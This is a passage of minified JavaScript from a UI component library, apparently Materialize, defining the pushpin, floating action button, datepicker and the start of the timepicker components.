_inherits(n,Component),_createClass(n,[{key:"destroy",value:function(){this.el.style.top=null,this._removePinClasses(),this._removeEventHandlers();var t=n._pushpins.indexOf(this);n._pushpins.splice(t,1)}},{key:"_setupEventHandlers",value:function(){document.addEventListener("scroll",n._updateElements)}},{key:"_removeEventHandlers",value:function(){document.removeEventListener("scroll",n._updateElements)}},{key:"_updatePosition",value:function(){var t=M.getDocumentScrollTop()+this.options.offset;this.options.top<=t&&this.options.bottom>=t&&!this.el.classList.contains("pinned")&&(this._removePinClasses(),this.el.style.top=this.options.offset+"px",this.el.classList.add("pinned"),"function"==typeof this.options.onPositionChange&&this.options.onPositionChange.call(this,"pinned")),t<this.options.top&&!this.el.classList.contains("pin-top")&&(this._removePinClasses(),this.el.style.top=0,this.el.classList.add("pin-top"),"function"==typeof this.options.onPositionChange&&this.options.onPositionChange.call(this,"pin-top")),t>this.options.bottom&&!this.el.classList.contains("pin-bottom")&&(this._removePinClasses(),this.el.classList.add("pin-bottom"),this.el.style.top=this.options.bottom-this.originalOffset+"px","function"==typeof this.options.onPositionChange&&this.options.onPositionChange.call(this,"pin-bottom"))}},{key:"_removePinClasses",value:function(){this.el.classList.remove("pin-top"),this.el.classList.remove("pinned"),this.el.classList.remove("pin-bottom")}}],[{key:"init",value:function(t,e){return _get(n.__proto__||Object.getPrototypeOf(n),"init",this).call(this,this,t,e)}},{key:"getInstance",value:function(t){return(t.jquery?t[0]:t).M_Pushpin}},{key:"_updateElements",value:function(){for(var t in n._pushpins){n._pushpins[t]._updatePosition()}}},{key:"defaults",get:function(){return e}}]),n}();t._pushpins=[],M.Pushpin=t,M.jQueryLoaded&&M.initializeJqueryWrapper(t,"pushpin","M_Pushpin")}(cash),function(r,s){"use strict";var e={direction:"top",hoverEnabled:!0,toolbarEnabled:!1};r.fn.reverse=[].reverse;var t=function(t){function n(t,e){_classCallCheck(this,n);var i=_possibleConstructorReturn(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,n,t,e));return(i.el.M_FloatingActionButton=i).options=r.extend({},n.defaults,e),i.isOpen=!1,i.$anchor=i.$el.children("a").first(),i.$menu=i.$el.children("ul").first(),i.$floatingBtns=i.$el.find("ul .btn-floating"),i.$floatingBtnsReverse=i.$el.find("ul .btn-floating").reverse(),i.offsetY=0,i.offsetX=0,i.$el.addClass("direction-"+i.options.direction),"top"===i.options.direction?i.offsetY=40:"right"===i.options.direction?i.offsetX=-40:"bottom"===i.options.direction?i.offsetY=-40:i.offsetX=40,i._setupEventHandlers(),i}return _inherits(n,Component),_createClass(n,[{key:"destroy",value:function(){this._removeEventHandlers(),this.el.M_FloatingActionButton=void 0}},{key:"_setupEventHandlers",value:function(){this._handleFABClickBound=this._handleFABClick.bind(this),this._handleOpenBound=this.open.bind(this),this._handleCloseBound=this.close.bind(this),this.options.hoverEnabled&&!this.options.toolbarEnabled?(this.el.addEventListener("mouseenter",this._handleOpenBound),this.el.addEventListener("mouseleave",this._handleCloseBound)):this.el.addEventListener("click",this._handleFABClickBound)}},{key:"_removeEventHandlers",value:function(){this.options.hoverEnabled&&!this.options.toolbarEnabled?(this.el.removeEventListener("mouseenter",this._handleOpenBound),this.el.removeEventListener("mouseleave",this._handleCloseBound)):this.el.removeEventListener("click",this._handleFABClickBound)}},{key:"_handleFABClick",value:function(){this.isOpen?this.close():this.open()}},{key:"_handleDocumentClick",value:function(t){r(t.target).closest(this.$menu).length||this.close()}},{key:"open",value:function(){this.isOpen||(this.options.toolbarEnabled?this._animateInToolbar():this._animateInFAB(),this.isOpen=!0)}},{key:"close",value:function(){this.isOpen&&(this.options.toolbarEnabled?(window.removeEventListener("scroll",this._handleCloseBound,!0),document.body.removeEventListener("click",this._handleDocumentClickBound,!0),this._animateOutToolbar()):this._animateOutFAB(),this.isOpen=!1)}},{key:"_animateInFAB",value:function(){var e=this;this.$el.addClass("active");var i=0;this.$floatingBtnsReverse.each(function(t){s({targets:t,opacity:1,scale:[.4,1],translateY:[e.offsetY,0],translateX:[e.offsetX,0],duration:275,delay:i,easing:"easeInOutQuad"}),i+=40})}},{key:"_animateOutFAB",value:function(){var e=this;this.$floatingBtnsReverse.each(function(t){s.remove(t),s({targets:t,opacity:0,scale:.4,translateY:e.offsetY,translateX:e.offsetX,duration:175,easing:"easeOutQuad",complete:function(){e.$el.removeClass("active")}})})}},{key:"_animateInToolbar",value:function(){var t,e=this,i=window.innerWidth,n=window.innerHeight,s=this.el.getBoundingClientRect(),o=r('<div class="fab-backdrop"></div>'),a=this.$anchor.css("background-color");this.$anchor.append(o),this.offsetX=s.left-i/2+s.width/2,this.offsetY=n-s.bottom,t=i/o[0].clientWidth,this.btnBottom=s.bottom,this.btnLeft=s.left,this.btnWidth=s.width,this.$el.addClass("active"),this.$el.css({"text-align":"center",width:"100%",bottom:0,left:0,transform:"translateX("+this.offsetX+"px)",transition:"none"}),this.$anchor.css({transform:"translateY("+-this.offsetY+"px)",transition:"none"}),o.css({"background-color":a}),setTimeout(function(){e.$el.css({transform:"",transition:"transform .2s cubic-bezier(0.550, 0.085, 0.680, 0.530), background-color 0s linear .2s"}),e.$anchor.css({overflow:"visible",transform:"",transition:"transform .2s"}),setTimeout(function(){e.$el.css({overflow:"hidden","background-color":a}),o.css({transform:"scale("+t+")",transition:"transform .2s cubic-bezier(0.550, 0.055, 0.675, 0.190)"}),e.$menu.children("li").children("a").css({opacity:1}),e._handleDocumentClickBound=e._handleDocumentClick.bind(e),window.addEventListener("scroll",e._handleCloseBound,!0),document.body.addEventListener("click",e._handleDocumentClickBound,!0)},100)},0)}},{key:"_animateOutToolbar",value:function(){var t=this,e=window.innerWidth,i=window.innerHeight,n=this.$el.find(".fab-backdrop"),s=this.$anchor.css("background-color");this.offsetX=this.btnLeft-e/2+this.btnWidth/2,this.offsetY=i-this.btnBottom,this.$el.removeClass("active"),this.$el.css({"background-color":"transparent",transition:"none"}),this.$anchor.css({transition:"none"}),n.css({transform:"scale(0)","background-color":s}),this.$menu.children("li").children("a").css({opacity:""}),setTimeout(function(){n.remove(),t.$el.css({"text-align":"",width:"",bottom:"",left:"",overflow:"","background-color":"",transform:"translate3d("+-t.offsetX+"px,0,0)"}),t.$anchor.css({overflow:"",transform:"translate3d(0,"+t.offsetY+"px,0)"}),setTimeout(function(){t.$el.css({transform:"translate3d(0,0,0)",transition:"transform .2s"}),t.$anchor.css({transform:"translate3d(0,0,0)",transition:"transform .2s cubic-bezier(0.550, 0.055, 0.675, 0.190)"})},20)},200)}}],[{key:"init",value:function(t,e){return _get(n.__proto__||Object.getPrototypeOf(n),"init",this).call(this,this,t,e)}},{key:"getInstance",value:function(t){return(t.jquery?t[0]:t).M_FloatingActionButton}},{key:"defaults",get:function(){return e}}]),n}();M.FloatingActionButton=t,M.jQueryLoaded&&M.initializeJqueryWrapper(t,"floatingActionButton","M_FloatingActionButton")}(cash,M.anime),function(g){"use strict";var e={autoClose:!1,format:"mmm dd, yyyy",parse:null,defaultDate:null,setDefaultDate:!1,disableWeekends:!1,disableDayFn:null,firstDay:0,minDate:null,maxDate:null,yearRange:10,minYear:0,maxYear:9999,minMonth:void 0,maxMonth:void 0,startRange:null,endRange:null,isRTL:!1,showMonthAfterYear:!1,showDaysInNextAndPreviousMonths:!1,container:null,showClearBtn:!1,i18n:{cancel:"Cancel",clear:"Clear",done:"Ok",previousMonth:"‹",nextMonth:"›",months:["January","February","March","April","May","June","July","August","September","October","November","December"],monthsShort:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],weekdays:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],weekdaysShort:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],weekdaysAbbrev:["S","M","T","W","T","F","S"]},events:[],onSelect:null,onOpen:null,onClose:null,onDraw:null},t=function(t){function B(t,e){_classCallCheck(this,B);var i=_possibleConstructorReturn(this,(B.__proto__||Object.getPrototypeOf(B)).call(this,B,t,e));(i.el.M_Datepicker=i).options=g.extend({},B.defaults,e),e&&e.hasOwnProperty("i18n")&&"object"==typeof e.i18n&&(i.options.i18n=g.extend({},B.defaults.i18n,e.i18n)),i.options.minDate&&i.options.minDate.setHours(0,0,0,0),i.options.maxDate&&i.options.maxDate.setHours(0,0,0,0),i.id=M.guid(),i._setupVariables(),i._insertHTMLIntoDOM(),i._setupModal(),i._setupEventHandlers(),i.options.defaultDate||(i.options.defaultDate=new Date(Date.parse(i.el.value)));var n=i.options.defaultDate;return B._isDate(n)?i.options.setDefaultDate?(i.setDate(n,!0),i.setInputValue()):i.gotoDate(n):i.gotoDate(new Date),i.isOpen=!1,i}return _inherits(B,Component),_createClass(B,[{key:"destroy",value:function(){this._removeEventHandlers(),this.modal.destroy(),g(this.modalEl).remove(),this.destroySelects(),this.el.M_Datepicker=void 0}},{key:"destroySelects",value:function(){var t=this.calendarEl.querySelector(".orig-select-year");t&&M.FormSelect.getInstance(t).destroy();var e=this.calendarEl.querySelector(".orig-select-month");e&&M.FormSelect.getInstance(e).destroy()}},{key:"_insertHTMLIntoDOM",value:function(){this.options.showClearBtn&&(g(this.clearBtn).css({visibility:""}),this.clearBtn.innerHTML=this.options.i18n.clear),this.doneBtn.innerHTML=this.options.i18n.done,this.cancelBtn.innerHTML=this.options.i18n.cancel,this.options.container?this.$modalEl.appendTo(this.options.container):this.$modalEl.insertBefore(this.el)}},{key:"_setupModal",value:function(){var t=this;this.modalEl.id="modal-"+this.id,this.modal=M.Modal.init(this.modalEl,{onCloseEnd:function(){t.isOpen=!1}})}},{key:"toString",value:function(t){var e=this;return t=t||this.options.format,B._isDate(this.date)?t.split(/(d{1,4}|m{1,4}|y{4}|yy|!.)/g).map(function(t){return e.formats[t]?e.formats[t]():t}).join(""):""}},{key:"setDate",value:function(t,e){if(!t)return this.date=null,this._renderDateDisplay(),this.draw();if("string"==typeof t&&(t=new Date(Date.parse(t))),B._isDate(t)){var i=this.options.minDate,n=this.options.maxDate;B._isDate(i)&&t<i?t=i:B._isDate(n)&&n<t&&(t=n),this.date=new Date(t.getTime()),this._renderDateDisplay(),B._setToStartOfDay(this.date),this.gotoDate(this.date),e||"function"!=typeof this.options.onSelect||this.options.onSelect.call(this,this.date)}}},{key:"setInputValue",value:function(){this.el.value=this.toString(),this.$el.trigger("change",{firedBy:this})}},{key:"_renderDateDisplay",value:function(){var t=B._isDate(this.date)?this.date:new Date,e=this.options.i18n,i=e.weekdaysShort[t.getDay()],n=e.monthsShort[t.getMonth()],s=t.getDate();this.yearTextEl.innerHTML=t.getFullYear(),this.dateTextEl.innerHTML=i+", "+n+" "+s}},{key:"gotoDate",value:function(t){var e=!0;if(B._isDate(t)){if(this.calendars){var i=new Date(this.calendars[0].year,this.calendars[0].month,1),n=new Date(this.calendars[this.calendars.length-1].year,this.calendars[this.calendars.length-1].month,1),s=t.getTime();n.setMonth(n.getMonth()+1),n.setDate(n.getDate()-1),e=s<i.getTime()||n.getTime()<s}e&&(this.calendars=[{month:t.getMonth(),year:t.getFullYear()}]),this.adjustCalendars()}}},{key:"adjustCalendars",value:function(){this.calendars[0]=this.adjustCalendar(this.calendars[0]),this.draw()}},{key:"adjustCalendar",value:function(t){return t.month<0&&(t.year-=Math.ceil(Math.abs(t.month)/12),t.month+=12),11<t.month&&(t.year+=Math.floor(Math.abs(t.month)/12),t.month-=12),t}},{key:"nextMonth",value:function(){this.calendars[0].month++,this.adjustCalendars()}},{key:"prevMonth",value:function(){this.calendars[0].month--,this.adjustCalendars()}},{key:"render",value:function(t,e,i){var n=this.options,s=new Date,o=B._getDaysInMonth(t,e),a=new Date(t,e,1).getDay(),r=[],l=[];B._setToStartOfDay(s),0<n.firstDay&&(a-=n.firstDay)<0&&(a+=7);for(var h=0===e?11:e-1,d=11===e?0:e+1,u=0===e?t-1:t,c=11===e?t+1:t,p=B._getDaysInMonth(u,h),v=o+a,f=v;7<f;)f-=7;v+=7-f;for(var m=!1,g=0,_=0;g<v;g++){var y=new Date(t,e,g-a+1),k=!!B._isDate(this.date)&&B._compareDates(y,this.date),b=B._compareDates(y,s),w=-1!==n.events.indexOf(y.toDateString()),C=g<a||o+a<=g,E=g-a+1,M=e,O=t,x=n.startRange&&B._compareDates(n.startRange,y),L=n.endRange&&B._compareDates(n.endRange,y),T=n.startRange&&n.endRange&&n.startRange<y&&y<n.endRange;C&&(g<a?(E=p+E,M=h,O=u):(E-=o,M=d,O=c));var $={day:E,month:M,year:O,hasEvent:w,isSelected:k,isToday:b,isDisabled:n.minDate&&y<n.minDate||n.maxDate&&y>n.maxDate||n.disableWeekends&&B._isWeekend(y)||n.disableDayFn&&n.disableDayFn(y),isEmpty:C,isStartRange:x,isEndRange:L,isInRange:T,showDaysInNextAndPreviousMonths:n.showDaysInNextAndPreviousMonths};l.push(this.renderDay($)),7==++_&&(r.push(this.renderRow(l,n.isRTL,m)),_=0,m=!(l=[]))}return this.renderTable(n,r,i)}},{key:"renderDay",value:function(t){var e=[],i="false";if(t.isEmpty){if(!t.showDaysInNextAndPreviousMonths)return'<td class="is-empty"></td>';e.push("is-outside-current-month"),e.push("is-selection-disabled")}return t.isDisabled&&e.push("is-disabled"),t.isToday&&e.push("is-today"),t.isSelected&&(e.push("is-selected"),i="true"),t.hasEvent&&e.push("has-event"),t.isInRange&&e.push("is-inrange"),t.isStartRange&&e.push("is-startrange"),t.isEndRange&&e.push("is-endrange"),'<td data-day="'+t.day+'" class="'+e.join(" ")+'" aria-selected="'+i+'"><button class="datepicker-day-button" type="button" data-year="'+t.year+'" data-month="'+t.month+'" data-day="'+t.day+'">'+t.day+"</button></td>"}},{key:"renderRow",value:function(t,e,i){return'<tr class="datepicker-row'+(i?" is-selected":"")+'">'+(e?t.reverse():t).join("")+"</tr>"}},{key:"renderTable",value:function(t,e,i){return'<div class="datepicker-table-wrapper"><table cellpadding="0" cellspacing="0" class="datepicker-table" role="grid" aria-labelledby="'+i+'">'+this.renderHead(t)+this.renderBody(e)+"</table></div>"}},{key:"renderHead",value:function(t){var e=void 0,i=[];for(e=0;e<7;e++)i.push('<th scope="col"><abbr title="'+this.renderDayName(t,e)+'">'+this.renderDayName(t,e,!0)+"</abbr></th>");return"<thead><tr>"+(t.isRTL?i.reverse():i).join("")+"</tr></thead>"}},{key:"renderBody",value:function(t){return"<tbody>"+t.join("")+"</tbody>"}},{key:"renderTitle",value:function(t,e,i,n,s,o){var a,r,l=void 0,h=void 0,d=void 0,u=this.options,c=i===u.minYear,p=i===u.maxYear,v='<div id="'+o+'" class="datepicker-controls" role="heading" aria-live="assertive">',f=!0,m=!0;for(d=[],l=0;l<12;l++)d.push('<option value="'+(i===s?l-e:12+l-e)+'"'+(l===n?' selected="selected"':"")+(c&&l<u.minMonth||p&&l>u.maxMonth?'disabled="disabled"':"")+">"+u.i18n.months[l]+"</option>");for(a='<select class="datepicker-select orig-select-month" tabindex="-1">'+d.join("")+"</select>",g.isArray(u.yearRange)?(l=u.yearRange[0],h=u.yearRange[1]+1):(l=i-u.yearRange,h=1+i+u.yearRange),d=[];l<h&&l<=u.maxYear;l++)l>=u.minYear&&d.push('<option value="'+l+'" '+(l===i?'selected="selected"':"")+">"+l+"</option>");r='<select class="datepicker-select orig-select-year" tabindex="-1">'+d.join("")+"</select>";v+='<button class="month-prev'+(f?"":" is-disabled")+'" type="button"><svg fill="#000000" height="24" viewBox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"><path d="M15.41 16.09l-4.58-4.59 4.58-4.59L14 5.5l-6 6 6 6z"/><path d="M0-.5h24v24H0z" fill="none"/></svg></button>',v+='<div class="selects-container">',u.showMonthAfterYear?v+=r+a:v+=a+r,v+="</div>",c&&(0===n||u.minMonth>=n)&&(f=!1),p&&(11===n||u.maxMonth<=n)&&(m=!1);return(v+='<button class="month-next'+(m?"":" is-disabled")+'" type="button"><svg fill="#000000" height="24" viewBox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"><path d="M8.59 16.34l4.58-4.59-4.58-4.59L10 5.75l6 6-6 6z"/><path d="M0-.25h24v24H0z" fill="none"/></svg></button>')+"</div>"}},{key:"draw",value:function(t){if(this.isOpen||t){var e,i=this.options,n=i.minYear,s=i.maxYear,o=i.minMonth,a=i.maxMonth,r="";this._y<=n&&(this._y=n,!isNaN(o)&&this._m<o&&(this._m=o)),this._y>=s&&(this._y=s,!isNaN(a)&&this._m>a&&(this._m=a)),e="datepicker-title-"+Math.random().toString(36).replace(/[^a-z]+/g,"").substr(0,2);for(var l=0;l<1;l++)this._renderDateDisplay(),r+=this.renderTitle(this,l,this.calendars[l].year,this.calendars[l].month,this.calendars[0].year,e)+this.render(this.calendars[l].year,this.calendars[l].month,e);this.destroySelects(),this.calendarEl.innerHTML=r;var h=this.calendarEl.querySelector(".orig-select-year"),d=this.calendarEl.querySelector(".orig-select-month");M.FormSelect.init(h,{classes:"select-year",dropdownOptions:{container:document.body,constrainWidth:!1}}),M.FormSelect.init(d,{classes:"select-month",dropdownOptions:{container:document.body,constrainWidth:!1}}),h.addEventListener("change",this._handleYearChange.bind(this)),d.addEventListener("change",this._handleMonthChange.bind(this)),"function"==typeof this.options.onDraw&&this.options.onDraw(this)}}},{key:"_setupEventHandlers",value:function(){this._handleInputKeydownBound=this._handleInputKeydown.bind(this),this._handleInputClickBound=this._handleInputClick.bind(this),this._handleInputChangeBound=this._handleInputChange.bind(this),this._handleCalendarClickBound=this._handleCalendarClick.bind(this),this._finishSelectionBound=this._finishSelection.bind(this),this._handleMonthChange=this._handleMonthChange.bind(this),this._closeBound=this.close.bind(this),this.el.addEventListener("click",this._handleInputClickBound),this.el.addEventListener("keydown",this._handleInputKeydownBound),this.el.addEventListener("change",this._handleInputChangeBound),this.calendarEl.addEventListener("click",this._handleCalendarClickBound),this.doneBtn.addEventListener("click",this._finishSelectionBound),this.cancelBtn.addEventListener("click",this._closeBound),this.options.showClearBtn&&(this._handleClearClickBound=this._handleClearClick.bind(this),this.clearBtn.addEventListener("click",this._handleClearClickBound))}},{key:"_setupVariables",value:function(){var e=this;this.$modalEl=g(B._template),this.modalEl=this.$modalEl[0],this.calendarEl=this.modalEl.querySelector(".datepicker-calendar"),this.yearTextEl=this.modalEl.querySelector(".year-text"),this.dateTextEl=this.modalEl.querySelector(".date-text"),this.options.showClearBtn&&(this.clearBtn=this.modalEl.querySelector(".datepicker-clear")),this.doneBtn=this.modalEl.querySelector(".datepicker-done"),this.cancelBtn=this.modalEl.querySelector(".datepicker-cancel"),this.formats={d:function(){return e.date.getDate()},dd:function(){var t=e.date.getDate();return(t<10?"0":"")+t},ddd:function(){return e.options.i18n.weekdaysShort[e.date.getDay()]},dddd:function(){return e.options.i18n.weekdays[e.date.getDay()]},m:function(){return e.date.getMonth()+1},mm:function(){var t=e.date.getMonth()+1;return(t<10?"0":"")+t},mmm:function(){return e.options.i18n.monthsShort[e.date.getMonth()]},mmmm:function(){return e.options.i18n.months[e.date.getMonth()]},yy:function(){return(""+e.date.getFullYear()).slice(2)},yyyy:function(){return e.date.getFullYear()}}}},{key:"_removeEventHandlers",value:function(){this.el.removeEventListener("click",this._handleInputClickBound),this.el.removeEventListener("keydown",this._handleInputKeydownBound),this.el.removeEventListener("change",this._handleInputChangeBound),this.calendarEl.removeEventListener("click",this._handleCalendarClickBound)}},{key:"_handleInputClick",value:function(){this.open()}},{key:"_handleInputKeydown",value:function(t){t.which===M.keys.ENTER&&(t.preventDefault(),this.open())}},{key:"_handleCalendarClick",value:function(t){if(this.isOpen){var e=g(t.target);e.hasClass("is-disabled")||(!e.hasClass("datepicker-day-button")||e.hasClass("is-empty")||e.parent().hasClass("is-disabled")?e.closest(".month-prev").length?this.prevMonth():e.closest(".month-next").length&&this.nextMonth():(this.setDate(new Date(t.target.getAttribute("data-year"),t.target.getAttribute("data-month"),t.target.getAttribute("data-day"))),this.options.autoClose&&this._finishSelection()))}}},{key:"_handleClearClick",value:function(){this.date=null,this.setInputValue(),this.close()}},{key:"_handleMonthChange",value:function(t){this.gotoMonth(t.target.value)}},{key:"_handleYearChange",value:function(t){this.gotoYear(t.target.value)}},{key:"gotoMonth",value:function(t){isNaN(t)||(this.calendars[0].month=parseInt(t,10),this.adjustCalendars())}},{key:"gotoYear",value:function(t){isNaN(t)||(this.calendars[0].year=parseInt(t,10),this.adjustCalendars())}},{key:"_handleInputChange",value:function(t){var e=void 0;t.firedBy!==this&&(e=this.options.parse?this.options.parse(this.el.value,this.options.format):new Date(Date.parse(this.el.value)),B._isDate(e)&&this.setDate(e))}},{key:"renderDayName",value:function(t,e,i){for(e+=t.firstDay;7<=e;)e-=7;return i?t.i18n.weekdaysAbbrev[e]:t.i18n.weekdays[e]}},{key:"_finishSelection",value:function(){this.setInputValue(),this.close()}},{key:"open",value:function(){if(!this.isOpen)return this.isOpen=!0,"function"==typeof this.options.onOpen&&this.options.onOpen.call(this),this.draw(),this.modal.open(),this}},{key:"close",value:function(){if(this.isOpen)return this.isOpen=!1,"function"==typeof this.options.onClose&&this.options.onClose.call(this),this.modal.close(),this}}],[{key:"init",value:function(t,e){return _get(B.__proto__||Object.getPrototypeOf(B),"init",this).call(this,this,t,e)}},{key:"_isDate",value:function(t){return/Date/.test(Object.prototype.toString.call(t))&&!isNaN(t.getTime())}},{key:"_isWeekend",value:function(t){var e=t.getDay();return 0===e||6===e}},{key:"_setToStartOfDay",value:function(t){B._isDate(t)&&t.setHours(0,0,0,0)}},{key:"_getDaysInMonth",value:function(t,e){return[31,B._isLeapYear(t)?29:28,31,30,31,30,31,31,30,31,30,31][e]}},{key:"_isLeapYear",value:function(t){return t%4==0&&t%100!=0||t%400==0}},{key:"_compareDates",value:function(t,e){return t.getTime()===e.getTime()}},{key:"_setToStartOfDay",value:function(t){B._isDate(t)&&t.setHours(0,0,0,0)}},{key:"getInstance",value:function(t){return(t.jquery?t[0]:t).M_Datepicker}},{key:"defaults",get:function(){return e}}]),B}();t._template=['<div class= "modal datepicker-modal">','<div class="modal-content datepicker-container">','<div class="datepicker-date-display">','<span class="year-text"></span>','<span class="date-text"></span>',"</div>",'<div class="datepicker-calendar-container">','<div class="datepicker-calendar"></div>','<div class="datepicker-footer">','<button class="btn-flat datepicker-clear waves-effect" style="visibility: hidden;" type="button"></button>','<div class="confirmation-btns">','<button class="btn-flat datepicker-cancel waves-effect" type="button"></button>','<button class="btn-flat datepicker-done waves-effect" type="button"></button>',"</div>","</div>","</div>","</div>","</div>"].join(""),M.Datepicker=t,M.jQueryLoaded&&M.initializeJqueryWrapper(t,"datepicker","M_Datepicker")}(cash),function(h){"use strict";var e={dialRadius:135,outerRadius:105,innerRadius:70,tickRadius:20,duration:350,container:null,defaultTime:"now",fromNow:0,showClearBtn:!1,i18n:{cancel:"Cancel",clear:"Clear",done:"Ok"},autoClose:!1,twelveHour:!0,vibrate:!0,onOpenStart:null,onOpenEnd:null,onCloseStart:null,onCloseEnd:null,onSelect:null},t=function(t){function f(t,e){_classCallCheck(this,f);var i=_possibleConstructorReturn(this,(f.__proto__||Object.getPrototypeOf(f)).call(this,f,t,e));return(i.el.M_Timepicker=i).options=h.extend({},f.defaults,e),i.id=M.guid(),i._insertHTMLIntoDOM(),i._setupModal(),i._setupVariables(),i._setupEventHandlers(),i._clockSetup(),i._pickerSetup(),i}return _inherits(f,Component),_createClass(f,[{key:"destroy",value:function(){this._removeEventHandlers(),this.modal.destroy(),h(this.modalEl).remove(),this.el.M_Timepicker=void 0}},{key:"_setupEventHandlers",value:function(){this._handleInputKeydownBound=this._handleInputKeydown.bind(this),this._handleInputClickBound=this._handleInputClick.bind(this),this._handleClockClickStartBound=this._handleClockClickStart.bind(this),this._handleDocumentClickMoveBound=this._handleDocumentClickMove.bind(this),this._handleDocumentClickEndBound=this._handleDocumentClickEnd.bind(this),this.el.addEventListener("click",this._handleInputClickBound),this.el.addEventListener("keydown",this._handleInputKeydownBound),this.plate.addEventListener("mousedown",this._handleClockClickStartBound),this.plate.addEventListener("touchstart",this._handleClockClickStartBound),h(this.spanHours).on("click",this.showView.bind(this,"hours")),h(this.spanMinutes).on("click",this.showView.bind(this,"minutes"))}},{key:"_removeEventHandlers",value:function(){this.el.removeEventListener("click",this._handleInputClickBound),this.el.removeEventListener("keydown",this._handleInputKeydownBound)}},{key:"_handleInputClick",value:function(){this.open()}},{key:"_handleInputKeydown",value:function(t){t.which===M.keys.ENTER&&(t.preventDefault(),this.open())}},{key:"_handleClockClickStart",value:function(t){t.preventDefault();var e=this.plate.getBoundingClientRect(),i=e.left,n=e.top;this.x0=i+this.options.dialRadius,this.y0=n+this.options.dialRadius,this.moved=!1;var s=f._Pos(t);this.dx=s.x-this.x0,this.dy=s.y-this.y0,this.setHand(this.dx,this.dy,!1),document.addEventListener("mousemove",this._handleDocumentClickMoveBound),document.addEventListener("touchmove",this._handleDocumentClickMoveBound),document.addEventListener("mouseup",this._handleDocumentClickEndBound),document.addEventListener("touchend",this._handleDocumentClickEndBound)}},{key:"_handleDocumentClickMove",value:function(t){t.preventDefault();var e=f._Pos(t),i=e.x-this.x0,n=e.y-this.y0;this.moved=!0,this.setHand(i,n,!1,!0)}},{key:"_handleDocumentClickEnd",value:function(t){var e=this;t.preventDefault(),document.removeEventListener("mouseup",this._handleDocumentClickEndBound),document.removeEventListener("touchend",this._handleDocumentClickEndBound);var i=f._Pos(t),n=i.x-this.x0,s=i.y-this.y0;this.moved&&n===this.dx&&s===this.dy&&this.setHand(n,s),"hours"===this.currentView?this.showView("minutes",this.options.duration/2):this.options.autoClose&&(h(this.minutesView).addClass("timepicker-dial-out"),setTimeout(function(){e.done()},this.options.duration/2)),"function"==typeof this.options.onSelect&&this.options.onSelect.call(this,this.hours,this.minutes),document.removeEventListener("mousemove",this._handleDocumentClickMoveBound),document.removeEventListener("touchmove",this._handleDocumentClickMoveBound)}},{key:"_insertHTMLIntoDOM",value:function(){this.$modalEl=h(f._template),this.modalEl=this.$modalEl[0],this.modalEl.id="modal-"+this.id;var t=document.querySelector(this.options.container);this.options.container&&t?this.$modalEl.appendTo(t):this.$modalEl.insertBefore(this.el)}},{key:"_setupModal",value:function(){var t=this;this.modal=M.Modal.init(this.modalEl,{onOpenStart:this.options.onOpenStart,onOpenEnd:this.options.onOpenEnd,onCloseStart:this.options.onCloseStart,onCloseEnd:function(){"function"==typeof t.options.onCloseEnd&&t.options.onCloseEnd.call(t),t.isOpen=!1}})}},{key:"_setupVariables",value:function(){this.currentView="hours",this.vibrate=navigator.vibrate?"vibrate":navigator.webkitVibrate?"webkitVibrate":null,this._canvas=this.modalEl.querySelector(".timepicker-canvas"),this.plate=this.modalEl.querySelector(".timepicker-plate"),this.hoursView=this.modalEl.querySelector(".timepicker-hours"),this.minutesView=this.modalEl.querySelector(".timepicker-minutes"),this.spanHours=this.modalEl.querySelector(".timepicker-span-hours"),this.spanMinutes=this.modalEl.querySelector(".timepicker-span-minutes"),this.spanAmPm=this.modalEl.querySelector(".timepicker-span-am-pm"),this.footer=this.modalEl.querySelector(".timepicker-footer"),this.amOrPm="PM"}},{key:"_pickerSetup",value:function(){var t=h('<button class="btn-flat timepicker-clear waves-effect" style="visibility: hidden;" type="button" tabindex="'+(this.options.twelveHour?"3":"1")+'">'+this.options.i18n.clear+"</button>").appendTo(this.footer).on("click",this.clear.bind(this));this.options.showClearBtn&&t.css({visibility:""});var e=h('<div class="confirmation-btns"></div>');h('<button class="btn-flat timepicker-close waves-effect" type="button" tabindex="'+(this.options.twelveHour?"3":"1")+'">'+this.options.i18n.cancel+"</button>").appendTo(e).on("click",this.close.bind(this)),h('<button class="btn-flat timepicker-close waves-effect" type="button" tabindex="'+(this.options.twelveHour?"3":"1")+'">'+this.options.i18n.done+"</button>").appendTo(e).on("click",this.done.bind(this)),e.appendTo(this.footer)}},{key:"_clockSetup",value:function(){this.options.twelveHour&&(this.$amBtn=h('<div class="am-btn">AM</div>'),this.$pmBtn=h('<div class="pm-btn">PM</div>'),this.$amBtn.on("click",this._handleAmPmClick.bind(this)).appendTo(this.spanAmPm),this.$pmBtn.on("click",this._handleAmPmClick.bind(this)).appendTo(this.spanAmPm)),this._buildHoursView(),this._buildMinutesView(),this._buildSVGClock()}},{key:"_buildSVGClock",value:function(){var t=this.options.dialRadius,e=this.options.tickRadius,i=2*t,n=f._createSVGEl("svg");n.setAttribute("class","timepicker-svg"),n.setAttribute("width",i),n.setAttribute("height",i);var s=f._createSVGEl("g");s.setAttribute("transform","translate("+t+","+t+")");var o=f._createSVGEl("circle");o.setAttribute("class","timepicker-canvas-bearing"),o.setAttribute("cx",0),o.setAttribute("cy",0),o.setAttribute("r",4);var a=f._createSVGEl("line");a.setAttribute("x1",0),a.setAttribute("y1",0);var r=f._createSVGEl("circle");r.setAttribute("class","timepicker-canvas-bg"),r.setAttribute("r",e),s.appendChild(a),s.appendChild(r),s.appendChild(o),n.appendChild(s),this._canvas.appendChild(n),this.hand=a,this.bg=r,this.bearing=o,this.g=s}},{key:"_buildHoursView",value:function(){var t=h('<div class="timepicker-tick"></div>');if(this.options.twelveHour)for(var e=1;e<13;e+=1){var i=t.clone(),n=e/6*Math.PI,s=this.options.outerRadius;i.css({left:this.options.dialRadius+Math.sin(n)*s-this.options.tickRadius+"px",top:this.options.dialRadius-Math.cos(n)*s-this.options.tickRadius+"px"}),i.html(0===e?"00":e),this.hoursView.appendChild(i[0])}else for(var o=0;o<24;o+=1){var 